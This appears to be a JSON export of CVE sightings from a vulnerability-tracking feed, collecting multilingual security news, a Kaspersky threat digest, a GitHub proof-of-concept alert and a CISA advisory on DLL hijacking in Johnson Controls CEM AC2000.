\n\u041a\u0430\u043d\u0430\u043b \u0444\u043e\u0440\u0443\u043c\u0430: T.ME/XSSF_FORUM\n\u041d\u0430\u0448 \u043a\u0430\u043d\u0430\u043b: T.ME/ITARMYOFRUSSIANEWS", "creation_timestamp": "2026-05-02T11:29:59.000000Z"}, {"uuid": "0b619cbb-1e53-4c1a-bdd9-49ea65b2b2a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://t.me/kasperskyb2b/2158", "content": "\ud83d\udc40 \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udfe2\u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 Silver Fox \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0437\u0438\u0430\u0446\u0438\u0438 \u0432 \u0420\u0424 \u0438 \u0432 \u0418\u043d\u0434\u0438\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 ABCDoor. \u0420\u0435\u0442\u0440\u043e\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c 7 \u0432\u0435\u0440\u0441\u0438\u0439 \u0412\u041f\u041e, \u043f\u0435\u0440\u0432\u0430\u044f \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0434\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u0436 2024 \u0433\u043e\u0434\u043e\u043c, \u043d\u043e \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0441\u0435\u0439 \u0434\u0435\u043d\u044c. \u041d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0438 \u0441 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u043d\u0430\u043b\u043e\u0433\u043e\u0432\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u0438. \n\n\ud83d\udfe3\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-31431 (CopyFail), \u0443\u0433\u0440\u043e\u0436\u0430\u044e\u0449\u0435\u0439 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0443 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0431\u043e\u0440\u043e\u043a Linux. \u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430 \u0443\u0433\u0440\u043e\u0437\u0430 \u0434\u043b\u044f \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0445 \u0441\u0440\u0435\u0434:  Docker, LXC \u0438 Kubernetes.\n\n\ud83d\udd35\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 npm \u0431\u0443\u0448\u0443\u0435\u0442 \u044d\u043f\u0438\u0434\u0435\u043c\u0438\u044f Mini Shai-Hulud: \u0447\u0435\u0440\u0432\u044c \u043f\u043e\u0440\u0430\u0437\u0438\u043b \u043f\u0430\u043a\u0435\u0442\u044b SAP \u0438 intercom. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u0442\u0435 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0430\u043a\u0435\u0442\u044b lightning \u0432 PyPi. TTPs \u043f\u043e\u0445\u043e\u0436\u0438 \u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0443 TeamPCP.\n\n\ud83d\udfe3\u0413\u0440\u0443\u043f\u043f\u0430 HeartlessSoul, \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u0430\u044f \u043e\u0441\u0435\u043d\u044c\u044e 2025 \u0433\u043e\u0434\u0430, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0430\u0432\u0438\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0432 \u0447\u0438\u0441\u043b\u0435 \u043f\u043e\u0445\u0438\u0449\u0430\u0435\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u0435\u043b\u0430\u0435\u0442 \u043e\u0441\u043e\u0431\u044b\u0439 \u0430\u043a\u0446\u0435\u043d\u0442 \u043d\u0430 \u0444\u0430\u0439\u043b\u044b \u0433\u0435\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u0435\u043d \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e: \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0440\u0435\u043a\u043b\u0430\u043c\u0438\u0440\u0443\u0435\u0442 \u0441\u0430\u0439\u0442\u044b-\u0444\u0430\u043b\u044c\u0448\u0438\u0432\u043a\u0438 \u0441 \u0442\u0440\u043e\u044f\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u041f\u041e \u0434\u043b\u044f \u0430\u0432\u0438\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\ud83d\udfe3\u0412\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u0442\u043e\u0436\u0435 \u0432\u043e\u043b\u043d\u0443\u044e\u0442\u0441\u044f \u043e \u043f\u043e\u0441\u0442\u043a\u0432\u0430\u043d\u0442\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u2014 \u043d\u043e\u0432\u044b\u0439 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a Kyber \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u0435 \u0433\u0438\u0431\u0440\u0438\u0434\u043d\u044b\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0441 \u041f\u041a\u0428.\n\n\ud83d\udd35\u041e\u0433\u0440\u043e\u043c\u043d\u044b\u0439 150-\u0441\u0442\u0440\u0430\u043d\u0438\u0447\u043d\u044b\u0439 \u043e\u0442\u0447\u0435\u0442 \u043e \u0441\u043b\u043e\u0436\u043d\u043e\u043c \u0412\u041f\u041e EasterBunny (pdf) \u0438 TTPs APT29/DarkHalo, \u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0449\u0435\u0439. \u0421\u0440\u0435\u0434\u0438 \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u043d\u044b\u0445 \u0434\u0435\u0442\u0430\u043b\u0435\u0439 \u2014 \u0436\u0451\u0441\u0442\u043a\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 \u043a \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0443, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043d \u043d\u0430\u0446\u0435\u043b\u0435\u043d, \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u0430\u0448\u0438\u043d\u0430\u0445 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0441\u044f.\n\n\ud83d\udfe3\u041d\u043e\u0432\u044b\u0435 \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0438 ClickFix: \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043a\u043e\u043c\u0430\u043d\u0434 cmdkey \u0438 regsvr32 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0412\u041f\u041e.\n\n\ud83d\udd35\u0417\u0430\u043a\u0440\u044b\u0442\u0430\u044f \u0432 \u0430\u043f\u0440\u0435\u043b\u044c\u0441\u043a\u043e\u043c Patch Tuesday CVE-2026-32202, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u0443\u0442\u0435\u0447\u043a\u0435 \u0445\u044d\u0448\u0435\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0442\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u0430 \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f. \u0414\u0435\u0444\u0435\u043a\u0442 \u0432\u043e\u0437\u043d\u0438\u043a \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f 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\u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0439 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u043f\u0430\u043c-\u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0445 SMS \u043e\u0431 \u043e\u043f\u043b\u0430\u0442\u0435 \u0434\u043e\u0440\u043e\u0436\u043d\u044b\u0445 \u043f\u043e\u0448\u043b\u0438\u043d \u0438 \u0448\u0442\u0440\u0430\u0444\u043e\u0432. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0436\u0435\u0440\u0442\u0432 \u0437\u0430\u043c\u0430\u043d\u0438\u0432\u0430\u044e\u0442 \u043d\u0430 \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u044b\u0435 \u043f\u043b\u0430\u0442\u0451\u0436\u043d\u044b\u0435 \u0441\u0430\u0439\u0442\u044b \u0438 \u0441\u0430\u0439\u0442\u044b, \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0438\u0435 \u0412\u041f\u041e.\n\n\ud83d\udfe2\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-41940 \u0432 \u043f\u0430\u043d\u0435\u043b\u044f\u0445 cPanel \u0438 WHM, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0431\u0435\u0437 \u0432\u0441\u044f\u043a\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0435\u0449\u0451 \u0434\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c cPanel, \u044d\u0442\u043e \u0432\u0435\u0441\u044c\u043c\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e \u2014 \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u043d\u0443\u0436\u043d\u043e \u0432 \u0441\u0440\u043e\u0447\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435. \n\n\ud83d\udfe3\u041d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0433\u0435\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0441\u043a\u0430\u043c-\u0446\u0435\u043d\u0442\u0440\u043e\u0432 (\u0438 \u0431\u043e\u0440\u044c\u0431\u044b \u0441 \u043d\u0438\u043c\u0438) \u2014 \u0434\u0435\u0432\u044f\u0442\u044c \u043c\u043e\u0448\u0435\u043d\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043e\u0444\u0438\u0441\u043e\u0432 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 \u0432 \u0414\u0443\u0431\u0430\u0435.\n\n#\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #APT @\u041f2\u0422", "creation_timestamp": "2026-05-04T09:44:28.000000Z"}, {"uuid": "daece8cb-7e3e-477b-858a-6e7b96b4bff8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://t.me/GithubRedTeam/82798", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21514_CVE-2026-21510\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ChaitanyaHaritash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 17:47:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-21514 & CVE-2026-21510 (Because MS-Office Fascinates me)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T18:00:05.000000Z"}, {"uuid": "7dfe67cb-046e-498c-886b-2d3c6bdd5152", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "seen", "source": "https://t.me/GithubRedTeam/82798", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21514_CVE-2026-21510\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ChaitanyaHaritash\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 17:47:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-21514 & CVE-2026-21510 (Because MS-Office Fascinates me)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T18:00:05.000000Z"}, {"uuid": "51541328-7c95-463c-be00-59f5c914bed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21520", "type": "seen", "source": "https://bsky.app/profile/ai-nerd.bsky.social/post/3ml3eyg2azh2n", "content": "the safety filters fired. they flagged the prompt injection. the agent exfiltrated customer data anyway.\n\nthat's the corner CVE-2026-21520 (Copilot Studio) paints us into: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21520", "creation_timestamp": "2026-05-05T04:46:59.242021Z"}, {"uuid": "93b0a60f-23aa-4678-b3a6-981f0650e8b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21514", "type": "seen", "source": "Telegram/rPnY3cDOMvKcPFRcx6QsxUGiZwWHKwUb91xptawBtUQTSW0", "content": "", "creation_timestamp": "2026-05-04T21:00:04.000000Z"}, {"uuid": "2967e78f-bdff-4d92-9b12-ed6d0ef3dfbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "Telegram/rPnY3cDOMvKcPFRcx6QsxUGiZwWHKwUb91xptawBtUQTSW0", "content": "", "creation_timestamp": "2026-05-04T21:00:04.000000Z"}, {"uuid": "9bb0822c-6bbf-4eed-b6f3-cdd9ff6b8da1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-04)", "content": "", "creation_timestamp": "2026-05-04T00:00:00.000000Z"}, {"uuid": "72ec2976-1bf9-4bf5-9616-6eca18a7395c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21262", "type": "seen", "source": "https://bsky.app/profile/newstecnicas.info.ve/post/3ml4wy6uvkc2u", "content": "Microsoft corrige Zero-Day cr\u00edtico en SQL Server que permite a atacantes tomar el control total como admin | CVE-2026-21262 www.newstecnicas.info.ve/2026/03/micr...", "creation_timestamp": "2026-05-05T19:41:44.288871Z"}, {"uuid": "dc69412c-0ac2-41eb-9195-cfa2a49d9212", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21661", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-125-05", "content": "View CSAF\n\nSummary\n\nSuccessful exploitation of this vulnerability could allow a standard user to escalate privileges on the host machine.\n\nThe following versions of Johnson Controls CEM AC2000 are affected:\n\n\n\nCEM AC2000 12.0 (CVE-2026-21661)\n\nCEM AC2000 11.0 (CVE-2026-21661)\n\nCEM AC2000 10.6 (CVE-2026-21661)\n\n<div class=\"csaf-table\">\n\n\n\n\nCVSS\nVendor\nEquipment\nVulnerabilities\n\n\n\n\nv3 8.7\nJohnson Controls Inc.\nJohnson Controls CEM AC2000\nUncontrolled Search Path Element\n\n\n\n</div>\n\nBackground\n\n\n\nCritical Infrastructure Sectors: Critical Manufacturing, Commercial Facilities, Government Services and Facilities, Transportation Systems, Energy\n\nCountries/Areas Deployed: Worldwide\n\nCompany Headquarters Location: Ireland\n\n\n\n\nVulnerabilities\n<div class=\"csaf-accordion\">\n\nExpand All +\n<div class=\"csaf-accordion-item\">\n\nCVE-2026-21661\n<div class=\"csaf-accordion-content\">\n\nThe affected product is vulnerable to DLL hijacking, which could allow an attacker to escalate standard user privileges on the host machine.\n\nView CVE Details\n\n\n\nAffected Products\n\nJohnson Controls CEM AC2000\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Johnson Controls Inc.</div>\n<div class=\"ics-version\">Product Version:Johnson Controls Inc. CEM AC2000: 12.0, Johnson Controls Inc. CEM AC2000: 11.0, Johnson Controls Inc. CEM AC2000: 10.6</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nMitigationJohnson Controls recommends users apply the following mitigations:\n\nMitigationUpgrade CEM AC 2000 12.0 to 12.0 Release 10.\n\nMitigationUpgrade CEM AC 2000 11.0 to 11.0 Release 9.\n\nMitigationUpgrade CEM AC 2000 10.6 to 10.6 Release 3.\n\nMitigationFor more detailed mitigation instructions, please see Johnson Controls Product Security Advisory.https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories\n</div>\n\nRelevant CWE: CWE-427 Uncontrolled Search Path Element\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n8.7\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L\n\n\n\n</div>\n</div>\n</div>\n</div>\n\n\n\nAcknowledgments\n\n\n\nTom Hulme of CSACyber reported this vulnerability to Johnson Controls\n\n\n\n\nLegal Notice and Terms of Use\n\nThis product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).\n\n\n\nRecommended Practices\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.\n\nMinimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.\n\nLocate control system networks and remote devices behind firewalls and isolating them from business networks.\n\nWhen remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.\n\nCISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nCISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nCISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.\n\nAdditional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.\n\nOrganizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.\n\nCISA also recommends users take the following measures to protect themselves from social engineering attacks:\n\nDo not click web links or open attachments in unsolicited email messages.\n\nRefer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.\n\nRefer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.\n\nNo known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.\n\n\n\nRevision History\n\n\n\nInitial Release Date: 2026-05-05\n\n\n\n\n\nDate\nRevision\nSummary\n\n\n\n\n2026-05-05\n1\nInitial Republication of Johnson Controls product security advisory.\n\n\n\n\n\n\nLegal Notice and Terms of Use", "creation_timestamp": "2026-05-05T10:00:00.000000Z"}, {"uuid": "09aa0476-1324-4597-9e4d-7c86dd2958ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3ml56x5cwr22q", "content": "CISA\u306f\u3001\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u306b\u60aa\u7528\u3055\u308c\u305fWindows\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63\u3059\u308b\u3088\u3046\u9023\u90a6\u653f\u5e9c\u306b\u547d\u4ee4\u3057\u305f\u3002\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u3001\u9023\u90a6\u653f\u5e9c\u6a5f\u95a2\u306b\u5bfe\u3057\u3001\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3067\u60aa\u7528\u3055\u308c\u308b\u8106\u5f31\u6027\u304b\u3089Windows\u30b7\u30b9\u30c6\u30e0\u3092\u4fdd\u8b77\u3059\u308b\u3088\u3046\u547d\u3058\u305f\u3002\n\nCVE-2026-32202\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u306f\u3001\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4f01\u696d\u306eAkamai\u306b\u3088\u3063\u3066\u5831\u544a\u3055\u308c\u305f\u3082\u306e\u3067\u3001Microsoft\u304c2\u6708\u306b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306e\u8106\u5f31\u6027\uff08 CVE-2026-21510 \uff09\u3092\u4e0d\u5b8c\u5168\u306b\u4fee\u6b63\u3057\u305f\u5f8c\u306b\u6b8b\u3055\u308c\u305f\u3001\u30bc\u30ed\u30af\u30ea\u30c3\u30af\u3067\u5b9f\u884c\u53ef\u80fd\u306aNTLM\u30cf\u30c3\u30b7\u30e5\u30ea\u30fc\u30af\u306e\u8106\u5f31\u6027\u3067\u3042\u308b...", "creation_timestamp": "2026-05-05T22:04:17.295076Z"}, {"uuid": "1eec18b4-000b-45fe-adad-d7dc2bf75c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21891", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-05)", "content": "", "creation_timestamp": "2026-05-05T00:00:00.000000Z"}, {"uuid": "bbda0bc3-2ef5-481e-bf75-00b7e0c2f7d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-05)", "content": "", "creation_timestamp": "2026-05-05T00:00:00.000000Z"}, {"uuid": "13444103-c318-4615-8353-2d363205c6cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/CyberDispatch/675", "content": "Russia-linked APT28 exploited a newly disclosed Microsoft Office flaw within days of disclosure.\n\nCVE-2026-21509 was used via malicious RTF files, with geo-fenced delivery targeting Ukraine, Slovakia, and Romania.", "creation_timestamp": "2026-08-31T00:00:12.366937Z"}, {"uuid": "9dbe551f-f2cb-4a17-b56d-368cc82543b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21510", "type": "seen", "source": "https://t.me/sysodmins/28821", "content": "\ud83e\udd21 \u041a\u0430\u043a Microsoft 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\u0441\u0435\u0442\u0438 \u043d\u0430\u0433\u043b\u0443\u0445\u043e, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c NTLM \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0442\u0430\u043c, \u0433\u0434\u0435 \u044d\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e.\n\n\u0422\u0438\u043f\u0438\u0447\u043d\u044b\u0439 \ud83e\udd78 